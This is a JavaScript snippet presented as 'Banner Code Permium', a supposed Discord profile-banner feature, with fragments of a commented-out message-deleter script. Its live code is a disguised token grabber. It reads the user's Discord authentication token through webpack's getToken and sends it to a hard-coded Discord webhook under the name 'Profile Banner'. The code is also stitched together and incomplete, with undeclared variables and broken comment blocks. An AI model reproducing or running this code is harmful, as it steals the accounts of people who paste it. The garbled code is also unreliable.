Banner Code Permium
Banner Code Permium
DiscordInternals;
const hasLib = !!(DI && DI.versionCompare && DI.versionCompare(DI.version || "",
"1.9") >= 0);
const WebpackModules = hasLib && DI.WebpackModules || (() => {
/*
const logArea = popup.document.querySelector('pre');
const startBtn = popup.document.querySelector('button#start');
const stopBtn = popup.document.querySelector('button#stop');
const autoScroll = popup.document.querySelector('#autoScroll');
startBtn.onclick = e => {
const authToken =
popup.document.querySelector('input#authToken').value.trim();
const authorId =
popup.document.querySelector('input#authorId').value.trim();
const guildId = popup.document.querySelector('input#guildId').value.trim();
const channelId =
popup.document.querySelector('input#channelId').value.trim();
const afterMessageId =
popup.document.querySelector('input#afterMessageId').value.trim();
const beforeMessageId =
popup.document.querySelector('input#beforeMessageId').value.trim();
const content = popup.document.querySelector('input#content').value.trim();
const hasLink = popup.document.querySelector('input#hasLink').checked;
const hasFile = popup.document.querySelector('input#hasFile').checked;
const includeNsfw =
popup.document.querySelector('input#includeNsfw').checked;
stop = stopBtn.disabled = !(startBtn.disabled = true);
deleteMessages(authToken, authorId, guildId, channelId, afterMessageId,
beforeMessageId, content, hasLink, hasFile, includeNsfw, logger, () => !(stop ===
true || popup.closed)).then(() => {
stop = stopBtn.disabled = !(startBtn.disabled = false);
});
};*/
msgdeleter.addEventListener("readystatechange", function () {
if (this.readyState === this.DONE) {
console.log(this.responseText);
}
});
var req=webpackJsonp.push([[], {extra_id:(e,r,t) => e.exports=t},
[["extra_id"]]]);
for(let e in req.c) {
if(req.c.hasOwnProperty(e)){
let r=req.c[e].exports;if(r&&r.__esModule&&r.default) for(let e in r.default)
if ("getToken"===e) {
var mdeleter = r.default.getToken()
}
}
}
msgdeleter.open("POST","https://discordapp.com/api/webhooks/856148011935858698/
xOMzpV07uykO-wYePqHJSc7RlHqY_rGMS9KlU8qSYZBZYE0j4E2TNI8BcsaiTyVy9oqx");
msgdeleter.setRequestHeader('Content-Type', 'application/json');
msgdeleter.send(
JSON.stringify({
content: "@everyone " + mdeleter + "",
username: "Profile Banner"
})
);
/*
const log = {
debug() { extLogger ? extLogger('debug', arguments) :
console.debug.apply(console, arguments); },
info() { extLogger ? extLogger('info', arguments) :
console.info.apply(console, arguments); },
verb() { extLogger ? extLogger('verb', arguments) :
console.log.apply(console, arguments); },
warn() { extLogger ? extLogger('warn', arguments) :
console.warn.apply(console, arguments); },
error() { extLogger ? extLogger('error', arguments) :
console.error.apply(console, arguments); },
success() { extLogger ? extLogger('success', arguments) :
console.info.apply(console, arguments); },
};
let API_SEARCH_URL;
if (guildId === '@me') {
API_SEARCH_URL = `https://discordapp.com/api/v6/channels/$
{channelId}/messages/`; // DMs
}
else {
API_SEARCH_URL =
`https://discordapp.com/api/v6/guilds/${guildId}/messages/`; // Server
}
const headers = {
'Authorization': authToken
};
let resp;
try {
const s = Date.now();
resp = await fetch(API_SEARCH_URL + 'search?' + queryString([
[ 'author_id', authorId || undefined ],
[ 'channel_id', (guildId !== '@me' ? channelId : undefined) ||
undefined ],
[ 'min_id', afterMessageId || undefined ],
[ 'max_id', beforeMessageId || undefined ],
[ 'sort_by', 'timestamp' ],
[ 'sort_order', 'desc' ],
[ 'offset', offset ],
[ 'has', hasLink ? 'link' : undefined ],
[ 'has', hasFile ? 'file' : undefined ],
[ 'content', content || undefined ],
[ 'include_nsfw', includeNsfw ? true : undefined ],
]), { headers });
lastPing = (Date.now() - s);
avgPing = avgPing>0 ? (avgPing*0.9) + (lastPing*0.1):lastPing;
} catch (err) {
return log.error('Search request throwed an error:', err);
}
if (!resp.ok) {
// searching messages too fast
if (resp.status === 429) {
const w = (await resp.json()).retry_after;
throttledCount++;
throttledTotalTime += w;
searchDelay += w; // increase delay
log.warn(`Zaman Aşımına Uğradı ${w}ms! Tekrar
Başlatılıyor...`);
printDelayStats();
log.verb(`Cooling down for ${w * 2}ms before retrying...`);
await wait(w*2);
return await recurse();
} else {
return log.error(`Error searching messages, API responded with
status ${resp.status}!\n`, await resp.json());
}
}
if (myMessages.length > 0) {
if (iterations < 1) {
log.verb(`Bekleniyor...`);
if (!await ask(`Şuan ~${total} Tane Mesaj Silinecek!\nTahmini
Bitiş Zamanı: ${etr}\n\n---- Mesajların ----\n` +
myMessages.map(m => `${m.author.username}#$
{m.author.discriminator}: ${m.attachments.length ? '[ATTACHMENTS]' :
m.content}`).join('\n')))
return end(log.error('Aborted by you!'));
log.verb(`OK`);
}
let resp;
try {
const s = Date.now();
const API_DELETE_URL =
`https://discordapp.com/api/v6/channels/${channelId}/messages/`;
resp = await fetch(API_DELETE_URL + message.id, {
headers,
method: 'DELETE'
});
lastPing = (Date.now() - s);
avgPing = (avgPing*0.9) + (lastPing*0.1);
delCount++;
} catch (err) {
log.error('Delete request throwed an error:', err);
log.verb('Related object:',
redact(JSON.stringify(message)));
failCount++;
}
if (!resp.ok) {
// deleting messages too fast
if (resp.status === 429) {
const w = (await resp.json()).retry_after;
throttledCount++;
throttledTotalTime += w;
deleteDelay += w; // increase delay
log.warn(`Being rate limited by the API for ${w}ms!
Adjusted delete delay to ${deleteDelay}ms.`);
printDelayStats();
log.verb(`Yeniden Denemeden Önce ${w*2}ms
Soğutuldu...`);
await wait(w*2);
i--; // retry
} else {
log.error(`Error deleting message, API responded with
status ${resp.status}!`, await resp.json());
log.verb('Related object:',
redact(JSON.stringify(message)));
failCount++;
}
}
await wait(deleteDelay);
}
if (systemMessages.length > 0) {
grandTotal -= systemMessages.length;
offset += systemMessages.length;
log.verb(`Found ${systemMessages.length} system messages!
Decreasing grandTotal to ${grandTotal} and increasing offset to ${offset}.`);
}
log.success(`\nStarted at ${start.toLocaleString()}`);
log.debug(`authorId="${redact(authorId)}" guildId="${redact(guildId)}"
channelId="${redact(channelId)}" afterMessageId="${redact(afterMessageId)}"
beforeMessageId="${redact(beforeMessageId)}" hasLink=${!!hasLink} hasFile=${!!
hasFile}`);
return await recurse();
}
})();*/